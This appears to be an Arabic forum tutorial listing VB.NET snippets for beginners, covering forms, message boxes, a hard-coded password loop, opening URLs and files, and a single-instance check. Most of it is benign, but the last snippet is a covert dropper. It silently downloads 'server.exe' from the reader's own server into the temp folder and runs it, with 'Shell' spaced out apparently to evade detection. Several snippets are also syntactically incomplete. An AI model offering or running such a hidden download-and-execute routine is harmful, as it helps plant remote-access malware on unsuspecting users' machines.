نبدا بكتابة الاكواد
اخفاء الفورم
اخفاء الفورم
كود:
Me.Hide()
-----------------------
كود اظهار الفورم الثاني
كود:
Form2.Show()
* اذا ردت سوي اظهار لفروم اخر مثل فروم 4 غير رقم 2 الى 4
------------------------
كود الخروج من البرنامج او من فروم واحد
كود:
Me.Close()
----------------------
انهاء عمل البرنامج بالكامل
كود:
End
----------------------------------------
كود المسج بوكس
كود المسج بوكس
كود:
MessageBox.Show("اكتب هنا")
-------------------------------------------
اذا ردنة نخلي باسورد لفروم او برنامج
كود:
devpoint:
Dim
Yasir as string
Yasir
= InputBox("ادخل كلمة
مرور")
If
Yasir = "ضع هنا
باسورد" then
MessageBox.show("تم فتح برنامج")
Else
MessageBox.Show("باسورد غلط")
Goto
devpoint
End
if
-------------------------------------
كود فتح موقع مباشرتنا
كود فتح موقع مباشرتنا
كود:
Process.Start("ضع رابط موقع هنا")
-------------------------------------------
كود فتح ملف في جهاز
كود فتح ملف في جهاز
كود:
Process.start("مسار الملف مراد فتحة")
-------------------------------------
كود لجعل البرنامج يعمل مرة واحدة
كود لجعل البرنامج يعمل مرة واحدة
كود:
yasir()
Sub
yasir()
Dim appProc() As Process
Dim strModName, strProcName As String
strModName =
Process.GetCurrentProcess.MainModule.ModuleName
strProcName =
System.IO.Path.GetFileNameWithoutExtension(strModName)
appProc = Process.GetProcessesByName(strProcName)
If appProc.Length > 1 Then
MessageBox.Show("Error")
End
-------------------------------------
لعمل داونلود مخفي للسيرفر وتشغيلة
لعمل داونلود مخفي للسيرفر وتشغيلة
كود:
Dim
web As New System.Net.WebClient
web.DownloadFile("الرابط المباشر لسرفرك", Environ("tmp") & "/server.exe")
S h
e l l(Environ("tmp") & "/server.exe")